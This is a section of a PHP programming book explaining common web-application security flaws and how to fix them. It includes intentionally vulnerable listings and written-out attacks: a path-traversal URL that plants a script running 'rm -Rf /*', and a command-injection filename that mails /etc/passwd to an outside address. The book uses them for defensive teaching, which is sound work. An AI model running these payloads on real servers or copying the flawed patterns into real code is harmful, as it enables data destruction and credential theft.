Team LiB
Previous Section Next Section

Common Security Concerns

Security, especially the type of security that prevents clever hackers from gaining access to your Web server, can only be described as a black art. There is no one book and no one list of rules that can make your site and data completely secure from a malicious user. Even so, there are many things that on a general level can be considered and implemented, which will go far in protecting your site. In this section, we'll look at many of the most common security errors in PHP scripts and how they can be avoided.

Unintended Consequences

The single biggest security hole in any script occurs when a developer makes the mistake of not considering the security implications of the code being written. If the code being written isn't developed with its possible security implications in mind, how can there be any realistic expectation of security? To demonstrate my point, consider Listing D.4:

Listing D.4. A Seemingly Harmless Function
<?php
    function write_text($filename, $text="") {
        static $open_files = array();
        // If filename is null, close all open files
        if($filename == NULL) {
            foreach($open_files as $fr) {
                fclose($fr);
            }
            return true;
        }
        $index = md5($filename);    
        if(!isset($open_files[$index])) {
            $open_files[$index] = fopen($filename, "a+");
            if(!$open_files[$index]) return false;
        }
        fputs($open_files[$index], $text);
        return true;
    }
?>

This function, which is designed to appear as a standard "helper" function written by a developer, seems fairly harmless. It takes two parameters, $filename and $text. The function is designed to ease file access; however, it could also lead to a major security flaw that could compromise a great deal. For example, we'll assume this function is being used in the script shown in Listing D.5 (assume the write_text() function is defined in the write_text.php file):

Listing D.5. A Simple Quotes Script
<HTML><BODY>
<FORM ACTION="<?=$_SERVER['PHP_SELF']?>" METHOD=GET>
Choose the nature of the quote:
<SELECT NAME="quote" SIZE=3>
<OPTION VALUE="funny">Humorous quotes</OPTION>
<OPTION VALUE="political">Political quotes</OPTION>
<OPTION VALUE="love">Romantic Quotes</OPTION>
</SELECT><BR>
The quote: <INPUT TYPE="text" NAME="quote_text" SIZE=30>
<INPUT TYPE="submit" VALUE="Save Quote">
</FORM>
</BODY></HTML>
<?php
    include_once('write_text.php');

    $filename = "/home/web/quotes/{$_GET['quote']}";
    $quote_msg = $_GET['quote_text'];
    if(write_text($filename, $quote_msg)) {
       echo "<CENTER><HR><H2>Quote saved!</H2></CENTER>";
    } else {
       echo "<CENTER><HR><H2>Error writing quote</H2></CENTER>";
    }
    write_text(NULL);
?>

This script, which provides simple functionality to record quotes to a set of text files, at first glance seems harmless. However, know it or not, this script could also be used to compromise the security of the Web server by a malicious user. Noticing that Listing D.5 uses an HTTP GET request, consider the behavior of the script if the following URL was used:

http://www.example.com/quotes.php?quote=different_file.dat&quote_text=garbage

Assuming that Listing D.5 is saved as quotes.php on the Web server, what would happen when this script is executed? When the script is executed by a malicious user, instead of adding a new quote to an existing file, a completely new file, different_file.dat, will be created with the data specified by the quote_text variable. More than just an undesired behavior, this script could be a potential security risk. For instance, consider if the quote parameter had been the filename ../../../etc/passwdit's even possible that the malicious user could use this script to create a new account on your system.

NOTE

It is a major, and almost always unnecessary, security risk for your Web server to be running under permissions that allow it to create new user accounts (super user or equivalent). If your Web server is running under such conditions, it is strongly recommended that such a security risk be corrected immediately.


Although in this case it is unlikely such a script could be used to create a new account on the system, depending on the circumstances, such a script could be used to create arbitrary PHP scripts on your Web server. This is a fairly likely situation because many Web servers have permissions set in such a way that the Web server can modify or create new documents within its document root. With a little guessing, and a lot of trial and error, all a malicious user would need to do to destroy your website would be to write a simple script:

<?php set_time_limit(0); `rm -Rf /*` ?>

This script could then be written to somewhere in the document root using the quotes.php script:

    http://www.example.com/quotes.php?quote=..%2F..%2F..
%2Fhome%2Fwww%2Fhtdocs%2Fdelete.php&quote_text=%3C%3Fphp+%60rm+-Rf+%2A%60%3B+%3F%3E

which, assuming the Web server's document root was /home/www/htdocs/, would write a new script, delete.php, to that directory. Then, it's a matter of deleting the entire con-tents of the website (including the script that did the deleting)a simple matter of visiting a URL:

http://www.example.com/delete.php

That's it. Anything your Web server has access to delete on your server is goneyour site is gone.

Preventing such attacks is a hard thing to explain. There are countless ways that this script could be improved and secured, and ultimately there is no real difference between any of them. The point is simply that, whatever is done, the quotes.php script should not be able to write data to anything other than the filenames that you as the developer want it to. In this case, that could mean using the basename() function on the quote GET variable before using it. The final decision really depends on the needs of your application.

The lesson learned here is a simple one and is really the one hard-and-fast rule to security: Never trust external data. Be it from a user via an HTTP request, an environment variable on the Web server, or a cookiethe security of your application should never rely on unverified data from a third-party source.

System Calls

PHP provides a number of functions and constructs that allow you to execute system calls. These functions, system(), exec(), passthru(), popen(), and the backtick (`) operator must all be handled with extreme caution within your scripts. As was the case with the preceding section, all the security risks associated with the use of system calls in PHP are preventable. In this section we'll identify a common scenario that leads to compromised security and the functions that can be used to head off malicious users.

For our scenario, consider a script that is designed to accept an uploaded file (via HTTP). The script accepts the file, compresses it, and moves it to a specified directory for storage. One of the requirements of the script is that the original filename as it existed on the client machine is maintained and a .zip extension is added. This script is shown in Listing D.6.

Listing D.6. An Insecure File Upload and Compression Script
<?php

    $zip = "/usr/bin/zip";
    $store_path = "/usr/local/archives/";

    if(isset($_FILES['file'])) {
        $tmp_name = $_FILES['file']['tmp_name'];
        $cmp_name = dirname($_FILES['file']['tmp_name']) .
                    "/{$_FILES['file']['name']}.zip";
        $filename = basename($cmp_name);

        if(file_exists($tmp_name)) {

            $systemcall = "$zip $cmp_name $tmp_name";
            $output = `$systemcall`;

            if(file_exists($cmp_name)) {

                $savepath = $store_path.$filename;
                rename($cmp_name, $savepath);

            }
        }
    }

?>
<HTML>
<HEAD><TITLE>An insecure zip compressor</TITLE></HEAD>
<BODY>
<FORM ENCTYPE="multipart/form-data"
      ACTION="<?php echo $_SERVER['PHP_SELF']; ?>" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="1048576">
File to compress: <INPUT NAME="file" TYPE="file"><BR />
<INPUT TYPE="submit" VALUE="Compress File">
</FORM>
</BODY>
</HTML>

Although this script seems harmless, a malicious user, as you will soon see, could use it to execute arbitrary shell commands on your server. Consider this segment of Listing D.6:

if(isset($_FILES['file'])) {
        $tmp_name = $_FILES['file']['tmp_name'];
        $cmp_name = dirname($_FILES['file']['tmp_name']) .
                    "/{$_FILES['file']['name']}.zip";
        $filename = basename($cmp_name);

        if(file_exists($tmp_name)) {

            $systemcall = "$zip $cmp_name $tmp_name";
            $output = `$systemcall`;

Can you see the potential security risk in this code segment? The answer lies in the way the $cmp_name variable has been assigned. Because this script must retain the original filename, the name key of the $_FILES superglobal is used (the name of the filename as it was on the client machine). Seems reasonable enough, but consider a user who uploads a filename such as the following:

;php -r '$code=base64_decode(\"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5
jb20gPCAvZXRjL3Bhc3N3ZA==\"); system($code);';

Although a strange name, the preceding filename is completely legal on a Unix-compatible file system. How will this filename influence the execution of our script? A quick way to check is to examine the contents of the $systemcall variable, which will contain the shell command executed by the PHP script:

/usr/bin/zip /tmp/;php -r '$code=base64_ decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gP
CAvZXRjL3Bhc3N3ZA=="); system($code);';.zip /tmp/phpY4iat

If this shell command is executed on a Unix-based system, the shell will interpret the semicolon character (;) as a separator between three different commands:

[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r 
'$code=base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==")
; system($code);'
[user@localhost]# .zip /tmp/phpY4iat

Obviously, this script was never intended to execute three individual commands. Even more disturbing is that while the intention of the script was to compress an uploaded file for archiving, it has been manipulated in such a way that an arbitrary PHP script will be executed containing the following code:

<?php
    $code = base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
    system($code);
?>

Ultimately, the result of all of this manipulation is the execution of the following shell command:

mail baduser@somewhere.com < /etc/passwd

What looks like a fairly straightforward script to perform what appears to be a trivial task has suddenly become an open door to your entire Web server! In a few short steps, a malicious user has acquired your entire password file and has the capability to execute further scripts as he sees fit. From here, the malicious user could upload a script that emails all your PHP source files on the server (to find usernames, passwords, and further security holes) or anything else desired.

Preventing System Call Attacks

Now that it is clear how dangerous system calls are, what facilities does PHP provide to help you protect against a malicious attack by a user? The answer lies in two functions designed to stop such attacks in their tracks: the escapeshellarg() and escapeshellcmd() functions.

Beginning with the escapeshellarg() function, this function is designed to eliminate the risk associated with passing potentially undesirable characters (such as the semicolon character) from arguments used in the execution of system commands from PHP. The syntax for this function is as follows:

escapeshellarg($string);

$string is the parameter being passed to a shell command. When executed, this function will take the input string $string, sanitize any potentially harmful characters, and return the modified version. This process is accomplished by first wrapping the entire string in single quotes and then escaping any single quotes that were part of the parameter itself. Take a look at our insecure example in Listing D.6; this PHP function could have been used to prevent the attack by the malicious user with two simple modifications:

$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);

A function similar to the escapeshellarg() function is escapeshellcmd(). Whereas the escapeshellarg() function sanitizes arguments to shell commands, the escapeshellcmd() function sanitizes only those characters that have a special meaning to the operating system (such as a semicolon character). The syntax for this function is as follows:

escapeshellcmd($string);

$string is the string to sanitize. When executed, any special operating-system characters will be escaped and a new version of the passed string will be returned.

Securing File Uploads

In the previous two sections, we explored the ways that Listing D.6 could be compromised to execute arbitrary shell commands; however, there are still more potential security risks to be addressed! This time, instead of the risk coming from the execution of the shell command, the problem lies in the file the PHP script thinks was uploaded. As you learned early on in this book, when a file is uploaded from an HTML form to a PHP script, the $_FILES superglobal is populated and the file itself is stored temporarily using a temporary filename. This temporary file must then be addressed and/or moved before the end of the PHP script's execution, at which time it will be deleted.

Looking back at Listing D.6, consider the following segment:

$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
                    "/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);

if(file_exists($tmp_name)) {

In this snippet, the heart of the problem lies in the use of the file_exists() command to determine whether the temporary file that was uploaded completed successfully. How can you be sure that the filename stored in the $tmp_name variable actually points to the file uploaded by the client? In this example, it is fairly easyhowever, in many real-life examples there is really no good way to be sure. This could be a real security risk because the file being handled by your PHP application could actually be a file that was not uploaded. If the $tmp_name variable was somehow compromised, you couldn't tell.

Thankfully, PHP addresses this security issue by keeping an internal record of the files that were uploaded to the script and that can then be cross-referenced to ensure that a given filename was indeed a file that was uploaded from a client. This process is handled through two functions, the first of which is the is_uploaded_file() function with the following syntax:

is_uploaded_file($filename);

$filename is the filename to check. In practical terms, the is_uploaded_file() function is identical to the file_exists() function. However, unlike the file_exists() function the is_uploaded_file() function will also ensure that the filename specified is the temporary file uploaded from the client during the request.

Because PHP will remove an uploaded file at the end of each request in order to save them on the server, they must be moved to another location. However, the standard functions for moving files have the same security risks associated with them as the file_exists() function did. Although a call to the is_uploaded_file() could be used, to simplify the life of the programmer, PHP provides the move_uploaded_file() function as well. This function is identical to the standard PHP move() function and has the following syntax:

move_uploaded_file($filename, $dest);

$filename is the temporary name of the uploaded file as stored in the tmp_name key of the $_FILES super global, and $dest is the destination filename and path to move the file to. When executed, unlike the standard PHP move() command, the move_uploaded_file() function will first check to ensure that the filename being moved is an uploaded file in the same fashion as is_uploaded_file().

    Team LiB
    Previous Section Next Section